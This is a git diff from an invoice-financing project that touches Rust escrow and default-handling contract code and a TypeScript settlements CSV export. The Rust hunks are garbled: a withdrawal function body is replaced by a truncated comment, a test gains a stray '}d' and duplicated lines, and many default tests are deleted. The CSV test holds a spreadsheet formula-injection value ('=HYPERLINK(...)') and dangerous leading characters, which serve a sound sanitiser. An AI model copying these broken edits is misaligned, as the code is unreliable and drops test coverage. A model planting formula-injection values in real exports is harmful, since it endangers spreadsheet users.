invoice.status = InvoiceStatus::Verified; - invoice.funded_amount = 0; - invoice.funded_at = None; - invoice.investor = None; - InvoiceStorage::update_invoice(env, &invoice); - - // Update invoice status lists - InvoiceStorage::remove_from_status_invoices(env, previous_status, invoice_id); - InvoiceStorage::add_to_status_invoices(env, InvoiceStatus::Verified, invoice_id); - - // 7. Cancel the accepted bid - let bids = BidStorage::get_bid_records_for_invoice(env, invoice_id); - for mut bid in bids.iter() { - if bid.status == BidStatus::Accepted { - bid.status = BidStatus::Cancelled; - BidStorage::update_bid(env, &bid); - break; - } - } - - // 8. Transition investment Active → Withdrawn - investment.status = InvestmentStatus::Withdrawn; - InvestmentStorage::update_investment(env, &investment); - - crate::qlx_log!(env, "escrow", "Investment withdrawn successfully"); - - // 9. Emit events - emit_investment_withdrawn( - env, - &investment.investment_id, - invoice_id, - investor, - escrow.amount, - ); - - Ok(()) -} +/// one-escrow-per-invoice two- diff --git a/quicklendx-contracts/src/test_default.rs b/quicklendx-contracts/src/test_default.rs index a70611482..deada7383 100644 --- a/quicklendx-contracts/src/test_default.rs +++ b/quicklendx-contracts/src/test_default.rs @@ -136,6 +136,11 @@ fn test_default_after_grace_period() { env.ledger().set_timestamp(default_time); // Mark as defaulted + client.mark_invoice_defaulted(&invoice_id); + + let defaulted_invoice = client.get_invoice(&invoice_id); + assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); +}d assert_eq!(client.get_business_default_history(&business), 0); client.mark_invoice_defaulted(&invoice_id); @@ -346,487 +351,6 @@ fn test_default_status_transition() { // Mark as defaulted client.mark_invoice_defaulted(&invoice_id); - // Verify status changed - let defaulted_invoice = client.get_invoice(&invoice_id); - assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); - - // Verify removed from funded list - let funded_after = client.get_invoices_by_status(&InvoiceStatus::Funded); - assert!(!funded_after.iter().any(|id| id == invoice_id)); - - // Verify added to defaulted list - let defaulted_invoices = client.get_invoices_by_status(&InvoiceStatus::Defaulted); - assert!(defaulted_invoices.iter().any(|id| id == invoice_id)); -} - -#[test] -fn test_default_investment_status_update() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - // Get investment - let investment = client.get_invoice_investment(&invoice_id); - assert_eq!( - investment.status, - crate::investment::InvestmentStatus::Active - ); - - // Move time past grace period - let invoice = client.get_invoice(&invoice_id); - let grace_period = 7 * 24 * 60 * 60; - let default_time = invoice.due_date + grace_period + 1; - env.ledger().set_timestamp(default_time); - - // Mark as defaulted - client.mark_invoice_defaulted(&invoice_id); - - // Verify investment status updated - let defaulted_investment = client.get_invoice_investment(&invoice_id); - assert_eq!( - defaulted_investment.status, - crate::investment::InvestmentStatus::Defaulted - ); -} - -#[test] -fn test_default_exactly_at_grace_deadline() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time to exactly grace deadline (should not default yet) - let grace_deadline = invoice.due_date + grace_period; - env.ledger().set_timestamp(grace_deadline); - - // Should fail - grace period hasn't passed yet - let result = client.try_mark_invoice_defaulted(&invoice_id); - assert!(result.is_err()); - - // Move one second past grace deadline - env.ledger().set_timestamp(grace_deadline + 1); - - // Should succeed now - client.mark_invoice_defaulted(&invoice_id); let defaulted_invoice = client.get_invoice(&invoice_id); assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); } - -#[test] -fn test_default_with_none_rejects_exactly_at_default_grace_deadline() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_deadline = invoice.due_date + crate::defaults::DEFAULT_GRACE_PERIOD; - env.ledger().set_timestamp(grace_deadline); - - let result = client.try_mark_invoice_defaulted(&invoice_id); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::OperationNotAllowed); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Funded - ); -} - -#[test] -#[ignore = "boundary assertion pending scan-window semantics refactor"] -fn test_check_invoice_expiration_respects_strict_protocol_grace_boundary() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let custom_grace = 2 * 24 * 60 * 60; - set_protocol_grace_period(&env, &client, &admin, custom_grace); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_deadline = invoice.due_date + custom_grace; - - env.ledger().set_timestamp(grace_deadline); - let did_default_at_deadline = client.check_invoice_expiration(&invoice_id); - assert!(!did_default_at_deadline); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Funded - ); - - env.ledger().set_timestamp(grace_deadline + 1); - let did_default_after_deadline = client.check_invoice_expiration(&invoice_id); - assert!(did_default_after_deadline); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); -} - -#[test] -fn test_multiple_invoices_default_handling() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 20000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - - // Create multiple invoices - let invoice1_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - let invoice2_id = create_and_fund_invoice( - &env, - &client, - &admin, - &business, - &investor, - amount, - due_date + 86400, - ); - - let invoice1 = client.get_invoice(&invoice1_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time past first invoice's grace period but not second - let time1 = invoice1.due_date + grace_period + 1; - env.ledger().set_timestamp(time1); - - // First invoice should default - client.mark_invoice_defaulted(&invoice1_id); - assert_eq!( - client.get_invoice(&invoice1_id).status, - InvoiceStatus::Defaulted - ); - - // Second invoice should not default yet - let result = client.try_mark_invoice_defaulted(&invoice2_id); - assert!(result.is_err()); - assert_eq!( - client.get_invoice(&invoice2_id).status, - InvoiceStatus::Funded - ); -} - -#[test] -fn test_cannot_default_paid_invoice() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - // Mark as paid via status update - client.update_invoice_status(&invoice_id, &InvoiceStatus::Paid); - - // Move time well past any grace period - let grace_period = 7 * 24 * 60 * 60; - env.ledger().set_timestamp(due_date + grace_period + 1); - - // Paid invoices cannot be defaulted - let result = client.try_mark_invoice_defaulted(&invoice_id); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::InvoiceNotAvailableForFunding); -} - -#[test] -fn test_resolve_grace_period_validation() { - let (env, client, admin) = setup(); - - // Test 1: Valid override value - let override_grace = 5 * 24 * 60 * 60; // 5 days - let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, None) - .expect("should resolve valid override value") - }); - assert_eq!(resolved, override_grace); - - // Test 2: Invalid override value (exceeds max) - let excessive_grace = 40 * 24 * 60 * 60; // 40 days - exceeds maximum - let result = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, None) - }); - assert!(result.is_err()); - assert_eq!(result.unwrap_err(), QuickLendXError::InvalidTimestamp); - - // Test 3: Zero is valid - let zero_grace = 0; - let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, None) - .expect("should resolve zero grace period") - }); - assert_eq!(resolved, zero_grace); - - // Test 4: Maximum boundary is valid - let max_grace = 30 * 24 * 60 * 60; // 30 days - exactly at limit - let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, None) - .expect("should resolve maximum grace period") - }); - assert_eq!(resolved, max_grace); -} - -#[test] -fn test_invalid_grace_period_does_not_affect_other_invoices() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 20000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - - // Create two invoices - let invoice1_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - let invoice2_id = create_and_fund_invoice( - &env, - &client, - &admin, - &business, - &investor, - amount, - due_date + 86400, - ); - - let invoice1 = client.get_invoice(&invoice1_id); - let invoice2 = client.get_invoice(&invoice2_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time past grace period for both - let time = invoice1.due_date + grace_period + 1; - env.ledger().set_timestamp(time); - - // Try to default invoice1 with invalid grace period - let result = client.try_mark_invoice_defaulted(&invoice1_id); - assert!(result.is_err()); - - // Invoice1 should still be funded - assert_eq!( - client.get_invoice(&invoice1_id).status, - InvoiceStatus::Funded - ); - - // Move time past invoice2's grace period as well - let time2 = invoice2.due_date + grace_period + 1; - env.ledger().set_timestamp(time2); - - // Default invoice2 with valid grace period - should work independently - client.mark_invoice_defaulted(&invoice2_id); - assert_eq!( - client.get_invoice(&invoice2_id).status, - InvoiceStatus::Defaulted - ); - - // Invoice1 should still be funded (not affected by invoice2's default) - assert_eq!( - client.get_invoice(&invoice1_id).status, - InvoiceStatus::Funded - ); -} - -#[test] -fn test_check_overdue_invoices_propagates_grace_period_error() { - let (env, client, _admin) = setup(); - let business = create_verified_business(&env, &client, &_admin); - let investor = create_verified_investor(&env, &client, &_admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - create_and_fund_invoice( - &env, &client, &_admin, &business, &investor, amount, due_date, - ); - - // Set up protocol config with invalid grace period would require low-level access - // For now, we test that check_overdue_invoices returns Result properly - // The happy path is tested in other tests - - // This test ensures the function signature accepts Result propagation - let result = client.check_overdue_invoices(&None); - // Should succeed with default protocol config (returns count) - assert!(result >= 0); // Just verify it returns a value without error -} - -#[test] -fn test_transition_guard_prevents_duplicate_default() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time past grace period - let default_time = invoice.due_date + grace_period + 1; - env.ledger().set_timestamp(default_time); - - // First attempt should succeed - client.mark_invoice_defaulted(&invoice_id); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); - - // Second attempt should fail with DuplicateDefaultTransition - let result = client.try_mark_invoice_defaulted(&invoice_id); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::DuplicateDefaultTransition); -} - -#[test] -fn test_transition_guard_persists_across_calls() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time past grace period - let default_time = invoice.due_date + grace_period + 1; - env.ledger().set_timestamp(default_time); - - // First default should succeed - client.mark_invoice_defaulted(&invoice_id); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); - - // Simulate multiple calls - all should fail - for _ in 0..3 { - let result = client.try_mark_invoice_defaulted(&invoice_id); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::DuplicateDefaultTransition); - } -} - -#[test] -fn test_transition_guard_atomicity_during_partial_failure() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let grace_period = 7 * 24 * 60 * 60; - - // Move time past grace period - let default_time = invoice.due_date + grace_period + 1; - env.ledger().set_timestamp(default_time); - - // First attempt should succeed and set the guard - client.mark_invoice_defaulted(&invoice_id); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); - - // Even if we try to call handle_default directly, it should fail due to guard - let result = env.as_contract(&client.address, || { - crate::defaults::handle_default(&env, &invoice_id) - }); - assert!(result.is_err()); - assert_eq!( - result.unwrap_err(), - QuickLendXError::DuplicateDefaultTransition - ); -} - -#[test] -fn test_transition_guard_different_invoices_independent() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 20000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - - // Create two invoices - let invoice1_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - let invoice2_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let grace_period = 7 * 24 * 60 * 60; - let default_time = due_date + grace_period + 1; - env.ledger().set_timestamp(default_time); - - // Default first invoice - client.mark_invoice_defaulted(&invoice1_id); - assert_eq!( - client.get_invoice(&invoice1_id).status, - InvoiceStatus::Defaulted - ); - - // Second invoice should still be defaultable - client.mark_invoice_defaulted(&invoice2_id); - assert_eq!( - client.get_invoice(&invoice2_id).status, - InvoiceStatus::Defaulted - ); - - // But first invoice still guarded - let result = client.try_mark_invoice_defaulted(&invoice1_id); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::DuplicateDefaultTransition); -} diff --git a/quicklendx-frontend/app/business/settlements/_lib/csv.test.ts b/quicklendx-frontend/app/business/settlements/_lib/csv.test.ts index 13a1da469..bec3abd00 100644 --- a/quicklendx-frontend/app/business/settlements/_lib/csv.test.ts +++ b/quicklendx-frontend/app/business/settlements/_lib/csv.test.ts @@ -1,46 +1,46 @@ -import { settlementsToCsv } from "./csv"; -import type { Settlement } from "./data"; - -const baseRow: Settlement = { - id: "settlement-1", - invoice_id: '=HYPERLINK("http://x")', - amount: "9007199254740993", - payer: "GABC", - recipient: "GXYZ", - timestamp: 1767225600, - status: "Paid", -}; - -describe("settlementsToCsv", () => { - it("emits the exact header and neutralizes spreadsheet formulas", () => { - const csv = settlementsToCsv([baseRow]); - - expect(csv.split("\r\n")[0]).toBe( - "id,invoice_id,amount,status,timestamp_iso,payer,recipient" - ); - expect(csv).toContain( - `"'=HYPERLINK(""http://x"")",9007199254740993,Paid,2026-01-01T00:00:00.000Z` - ); - }); - - it("quotes values containing commas, quotes, and newlines", () => { - const csv = settlementsToCsv([ - { - ...baseRow, - payer: "GABC, Inc", - recipient: 'Line "one"\nLine two', - }, - ]); - - expect(csv).toContain('"GABC, Inc","Line ""one""\nLine two"'); - }); - - it.each(["+SUM(A1:A2)", "-1+1", "@SUM(A1)", "\tformula", "\rformula"])( - "prefixes a dangerous leading character %p", - (value) => { - expect( - settlementsToCsv([{ ...baseRow, invoice_id: value }]).split("\r\n")[1] - ).toContain(`'${value}`); - } - ); -}); +import { settlementsToCsv } from "./csv"; +import type { Settlement } from "./data"; + +const baseRow: Settlement = { + id: "settlement-1", + invoice_id: '=HYPERLINK("http://x")', + amount: "9007199254740993", + payer: "GABC", + recipient: "GXYZ", + timestamp: 1767225600, + status: "Paid", +}; + +describe("settlementsToCsv", () => { + it("emits the exact header and neutralizes spreadsheet formulas", () => { + const csv = settlementsToCsv([baseRow]); + + expect(csv.split("\r\n")[0]).toBe( + "id,invoice_id,amount,status,timestamp_iso,payer,recipient" + ); + expect(csv).toContain( + `"'=HYPERLINK(""http://x"")",9007199254740993,Paid,2026-01-01T00:00:00.000Z` + ); + }); + + it("quotes values containing commas, quotes, and newlines", () => { + const csv = settlementsToCsv([ + { + ...baseRow, + payer: "GABC, Inc", + recipient: 'Line "one"\nLine two', + }, + ]); + + expect(csv).toContain('"GABC, Inc","Line ""one""\nLine two"'); + }); + + it.each(["+SUM(A1:A2)", "-1+1", "@SUM(A1)", "\tformula", "\rformula"])( + "prefixes a dangerous leading character %p", + (value) => { + expect( + settlementsToCsv([{ ...baseRow, invoice_id: value }]).split("\r\n")[1] + ).toContain(`'${value}`); + } + ); +}); diff --git a/quicklendx-frontend/app/business/settlements/_lib/csv.ts b/quicklendx-frontend/app/business/settlements/_lib/csv.ts index 9f2503b9f..84ac1aeb8 100644 --- a/quicklendx-frontend/app/business/settlements/_lib/csv.ts +++ b/quicklendx-frontend/app/business/settlements/_lib/csv.ts @@ -1,40 +1,40 @@ -import type { Settlement } from "./data"; - -const CSV_COLUMNS = [ - "id", - "invoice_id", - "amount", - "status", - "timestamp_iso", - "payer", - "recipient", -] as const; - -function escapeCell(value: string): string { - const safeValue = /^[=+\-@\t\r]/.test(value) ? `'${value}` : value; - return /[",\r\n]/.test(safeValue) - ? `"${safeValue.replace(/"/g, '""')}"` - : safeValue; -} - -export function settlementsToCsv(rows: Settlement[]): string { - const header = CSV_COLUMNS.join(","); - const records = rows.map((row) => - [ - row.id, - row.invoice_id, - row.amount, - row.status, - new Date(row.timestamp * 1000).toISOString(), - row.payer, - row.recipient, - ] - .map(escapeCell) - .join(",") - ); - return [header, ...records].join("\r\n"); -} - -export function settlementsCsvFilename(now = new Date()): string { - return `settlements-${now.toISOString().slice(0, 10)}.csv`; -} +import type { Settlement } from "./data"; + +const CSV_COLUMNS = [ + "id", + "invoice_id", + "amount", + "status", + "timestamp_iso", + "payer", + "recipient", +] as const; + +function escapeCell(value: string): string { + const safeValue = /^[=+\-@\t\r]/.test(value) ? `'${value}` : value; + return /[",\r\n]/.test(safeValue) + ? `"${safeValue.replace(/"/g, '""')}"` + : safeValue; +} + +export function settlementsToCsv(rows: Settlement[]): string { + const header = CSV_COLUMNS.join(","); + const records = rows.map((row) => + [ + row.id, + row.invoice_id, + row.amount, + row.status, + new Date(row.timestamp * 1000).toISOString(), + row.payer, + row.recipient, + ] + .map(escapeCell) + .join(",") + ); + return [header, ...records].join("\r\n"); +} + +export function settlementsCsvFilename(now = new Date()): string { + return `settlements-${now.toISOString().slice(0, 10)}.csv`; +} diff --git a/quicklendx-frontend/app/business/settlements/_lib/data.ts b/quicklendx-frontend/app/business/settlements/_lib/data.ts index 5075e472e..49230372c 100644 --- a/quicklendx-frontend/app/business/settlements/_lib/data.ts +++ b/quicklendx-frontend/app/business/settlements/_lib/data.ts @@ -1,29 +1,29 @@ -import { z } from "zod"; -import { apiClient } from "@/app/lib/api-client"; - -const settlementSchema = z.object({ - id: z.string(), - invoice_id: z.string(), - amount: z.string().regex(/^-?\d+$/), - payer: z.string(), - recipient: z.string(), - timestamp: z.number().int().nonnegative(), - status: z.enum(["Pending", "Paid", "Defaulted"]), -}); - -const settlementsResponseSchema = z.object({ - data: z.array(settlementSchema), - freshness: z.object({ - indexLagSeconds: z.number().nonnegative(), - }), -}); - -export type Settlement = z.infer; -export type SettlementsResponse = z.infer; - -export async function listSettlements( - _params: Record = {} -): Promise { - const response = await apiClient.get("/v1/settlements"); - return settlementsResponseSchema.parse(response); -} +import { z } from "zod"; +import { apiClient } from "@/app/lib/api-client"; + +const settlementSchema = z.object({ + id: z.string(), + invoice_id: z.string(), + amount: z.string().regex(/^-?\d+$/), + payer: z.string(), + recipient: z.string(), + timestamp: z.number().int().nonnegative(), + status: z.enum(["Pending", "Paid", "Defaulted"]), +}); + +const settlementsResponseSchema = z.object({ + data: z.array(settlementSchema), + freshness: z.object({ + indexLagSeconds: z.number().nonnegative(), + }), +}); + +export type Settlement = z.infer; +export type SettlementsResponse = z.infer; + +export async function listSettlements( + _params: Record = {} +): Promise { + const response = await apiClient.get("/v1/settlements"); + return settlementsResponseSchema.parse(response); +} diff --git a/quicklendx-frontend/app/business/settlements/_lib/selectRows.ts b/quicklendx-frontend/app/business/settlements/_lib/selectRows.ts index ac92c9ce1..a30ee76b2 100644 --- a/quicklendx-frontend/app/business/settlements/_lib/selectRows.ts +++ b/quicklendx-frontend/app/business/settlements/_lib/selectRows.ts @@ -1,75 +1,75 @@ -import type { Settlement } from "./data"; - -export type SettlementStatusFilter = "All" | Settlement["status"]; -export type SettlementRange = "30d" | "90d" | "all"; -export type SettlementSort = - | "date_desc" - | "date_asc" - | "amount_desc" - | "amount_asc"; - -export interface SettlementSelection { - address: string; - status: SettlementStatusFilter; - range: SettlementRange; - sort: SettlementSort; - page: number; - now?: number; -} - -export const SETTLEMENT_PAGE_SIZE = 20; - -export function selectRows( - all: Settlement[], - { address, status, range, sort, page, now = Date.now() }: SettlementSelection -): Settlement[] { - const cutoff = - range === "all" - ? undefined - : now - (range === "30d" ? 30 : 90) * 24 * 60 * 60 * 1000; - - const rows = all.filter((settlement) => { - // The API has no account filter; this client-side scope filter is not a security boundary. - if (settlement.payer !== address && settlement.recipient !== address) { - return false; - } - if (status !== "All" && settlement.status !== status) return false; - if (cutoff !== undefined && settlement.timestamp * 1000 < cutoff) { - return false; - } - return true; - }); - - rows.sort((left, right) => { - switch (sort) { - case "date_asc": - return left.timestamp - right.timestamp; - case "amount_desc": { - const amountOrder = - BigInt(right.amount) > BigInt(left.amount) - ? 1 - : BigInt(right.amount) < BigInt(left.amount) - ? -1 - : 0; - return amountOrder || right.timestamp - left.timestamp; - } - case "amount_asc": { - const amountOrder = - BigInt(left.amount) > BigInt(right.amount) - ? 1 - : BigInt(left.amount) < BigInt(right.amount) - ? -1 - : 0; - return amountOrder || right.timestamp - left.timestamp; - } - default: - return right.timestamp - left.timestamp; - } - }); - - return rows.slice(0, Math.max(1, page) * SETTLEMENT_PAGE_SIZE); -} - -export function sumAmounts(rows: Settlement[]): bigint { - return rows.reduce((total, row) => total + BigInt(row.amount), 0n); -} +import type { Settlement } from "./data"; + +export type SettlementStatusFilter = "All" | Settlement["status"]; +export type SettlementRange = "30d" | "90d" | "all"; +export type SettlementSort = + | "date_desc" + | "date_asc" + | "amount_desc" + | "amount_asc"; + +export interface SettlementSelection { + address: string; + status: SettlementStatusFilter; + range: SettlementRange; + sort: SettlementSort; + page: number; + now?: number; +} + +export const SETTLEMENT_PAGE_SIZE = 20; + +export function selectRows( + all: Settlement[], + { address, status, range, sort, page, now = Date.now() }: SettlementSelection +): Settlement[] { + const cutoff = + range === "all" + ? undefined + : now - (range === "30d" ? 30 : 90) * 24 * 60 * 60 * 1000; + + const rows = all.filter((settlement) => { + // The API has no account filter; this client-side scope filter is not a security boundary. + if (settlement.payer !== address && settlement.recipient !== address) { + return false; + } + if (status !== "All" && settlement.status !== status) return false; + if (cutoff !== undefined && settlement.timestamp * 1000 < cutoff) { + return false; + } + return true; + }); + + rows.sort((left, right) => { + switch (sort) { + case "date_asc": + return left.timestamp - right.timestamp; + case "amount_desc": { + const amountOrder = + BigInt(right.amount) > BigInt(left.amount) + ? 1 + : BigInt(right.amount) < BigInt(left.amount) + ? -1 + : 0; + return amountOrder || right.timestamp - left.timestamp; + } + case "amount_asc": { + const amountOrder = + BigInt(left.amount) > BigInt(right.amount) + ? 1 + : BigInt(left.amount) < BigInt(right.amount) + ? -1 + : 0; + return amountOrder || right.timestamp - left.timestamp; + } + default: + return right.timestamp - left.timestamp; + } + }); + + return rows.slice(0, Math.max(1, page) * SETTLEMENT_PAGE_SIZE); +} + +export function sumAmounts(rows: Settlement[]): bigint { + return rows.reduce((total, row) => total + BigInt(row.amount), 0n); +} diff --git a/quicklendx-frontend/app/business/settlements/page.test.tsx b/quicklendx-frontend/app/business/settlements/page.test.tsx index c6e11ad52..d4444f680 100644 --- a/quicklendx-frontend/app/business/settlements/page.test.tsx +++ b/quicklendx-frontend/app/business/settlements/page.test.tsx @@ -1,228 +1,228 @@ -import { act, render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import type React from "react"; -import SettlementsPage from "./page"; -import { listSettlements, type Settlement } from "./_lib/data"; -import { useWallet } from "@/app/lib/wallet/WalletProvider"; - -jest.mock("next/navigation", () => ({ - useRouter: () => ({ replace: mockReplace }), - usePathname: () => "/business/settlements", - useSearchParams: () => new URLSearchParams(mockSearch), -})); - -jest.mock("next/link", () => { - const React = require("react"); - return { - __esModule: true, - default: ({ - href, - children, - ...props - }: React.AnchorHTMLAttributes & { href: string }) => - React.createElement("a", { href, ...props }, children), - }; -}); - -jest.mock("./_lib/data", () => ({ - listSettlements: jest.fn(), -})); - -jest.mock("@/app/lib/wallet/WalletProvider", () => ({ - useWallet: jest.fn(), - WalletConnectControl: () => - require("react").createElement("button", null, "Connect Wallet"), -})); - -const mockReplace = jest.fn((url: string) => { - mockSearch = url.split("?")[1] ?? ""; -}); -let mockSearch = ""; -const mockListSettlements = jest.mocked(listSettlements); -const mockUseWallet = jest.mocked(useWallet); -const connectedAddress = "GCONNECTEDWALLET"; - -function makeSettlement( - index: number, - overrides: Partial = {} -): Settlement { - return { - id: `settlement-${index}`, - invoice_id: `0x1234567890abcdef${index.toString().padStart(4, "0")}`, - amount: String(index + 1), - payer: index % 2 ? connectedAddress : `GOUTSIDER${index}`, - recipient: index % 2 ? `GOUTSIDER${index}` : connectedAddress, - timestamp: Math.floor(Date.now() / 1000) - index * 60, - status: index % 2 ? "Paid" : "Pending", - ...overrides, - }; -} - -function response(data: Settlement[], indexLagSeconds = 10) { - return { data, freshness: { indexLagSeconds } }; -} - -async function renderConnected(rows: Settlement[], lag = 10) { - mockUseWallet.mockReturnValue({ - state: "connected", - address: connectedAddress, - }); - mockListSettlements.mockResolvedValue(response(rows, lag)); - const rendered = render(); - await waitFor(() => expect(mockListSettlements).toHaveBeenCalledTimes(1)); - return rendered; -} - -beforeEach(() => { - mockSearch = ""; - mockReplace.mockClear(); - mockListSettlements.mockReset(); - mockUseWallet.mockReturnValue({ - state: "connected", - address: connectedAddress, - }); -}); - -describe("Settlement receipts page", () => { - it("shows 20 rows, loads more in pages of 20, and scopes results to the wallet", async () => { - await renderConnected([ - ...Array.from({ length: 45 }, (_, index) => makeSettlement(index)), - ...Array.from({ length: 5 }, (_, index) => - makeSettlement(100 + index, { - payer: `GOTHER${index}`, - recipient: `GOTHERRECIPIENT${index}`, - }) - ), - ]); - - await waitFor(() => - expect(screen.getAllByTestId("settlement-row")).toHaveLength(20) - ); - expect(screen.getByRole("button", { name: "Load more" })).toBeTruthy(); - - await userEvent.click(screen.getByRole("button", { name: "Load more" })); - expect(screen.getAllByTestId("settlement-row")).toHaveLength(40); - await userEvent.click(screen.getByRole("button", { name: "Load more" })); - expect(screen.getAllByTestId("settlement-row")).toHaveLength(45); - expect(screen.queryByRole("button", { name: "Load more" })).toBeNull(); - - for (const row of screen.getAllByTestId("settlement-row")) { - expect(row.textContent).not.toContain("GOTHER"); - expect(row.textContent).not.toContain("GOUTSIDER"); - } - }); - - it("filters by status and mirrors the selected status in the URL", async () => { - await renderConnected( - Array.from({ length: 6 }, (_, index) => makeSettlement(index)) - ); - - await userEvent.selectOptions(screen.getByLabelText("Status"), "Paid"); - await waitFor(() => - expect(screen.getAllByTestId("settlement-row")).toHaveLength(3) - ); - expect(mockReplace).toHaveBeenCalledWith( - "/business/settlements?status=Paid", - { scroll: false } - ); - for (const row of screen.getAllByTestId("settlement-row")) { - expect(row.textContent).toContain("Paid"); - expect(row.textContent).not.toContain("Pending"); - } - }); - - it("sorts large amounts using BigInt rather than Number", async () => { - await renderConnected( - [ - makeSettlement(1, { amount: "5" }), - makeSettlement(2, { amount: "900000000000000000000" }), - ], - 10 - ); - - await userEvent.selectOptions(screen.getByLabelText("Date range"), "all"); - await userEvent.selectOptions(screen.getByLabelText("Sort"), "amount_desc"); - const rows = screen.getAllByTestId("settlement-row"); - expect(rows[0].textContent).toContain("900000000000000000000"); - expect(rows[1].textContent).toContain("5"); - }); - - it("sums values above Number safe integer precision exactly", async () => { - await renderConnected([ - makeSettlement(1, { amount: "9007199254740993" }), - makeSettlement(2, { amount: "1" }), - ]); - - expect( - await screen.findByText("Total this period: 9007199254740994 units") - ).toBeTruthy(); - }); - - it("renders five accessible loading skeleton rows", async () => { - let resolveFetch!: (value: ReturnType) => void; - mockUseWallet.mockReturnValue({ - state: "connected", - address: connectedAddress, - }); - mockListSettlements.mockReturnValue( - new Promise((resolve) => { - resolveFetch = resolve; - }) - ); - render(); - - expect((await screen.findByRole("table")).getAttribute("aria-busy")).toBe( - "true" - ); - expect(screen.getAllByTestId("settlement-skeleton-row")).toHaveLength(5); - await act(async () => resolveFetch(response([]))); - }); - - it("shows the empty-state placeholder when no rows are returned", async () => { - await renderConnected([]); - expect(await screen.findByText("No settlement history")).toBeTruthy(); - }); - - it("shows an alert and retries a rejected fetch", async () => { - mockUseWallet.mockReturnValue({ - state: "connected", - address: connectedAddress, - }); - mockListSettlements - .mockRejectedValueOnce(new Error("offline")) - 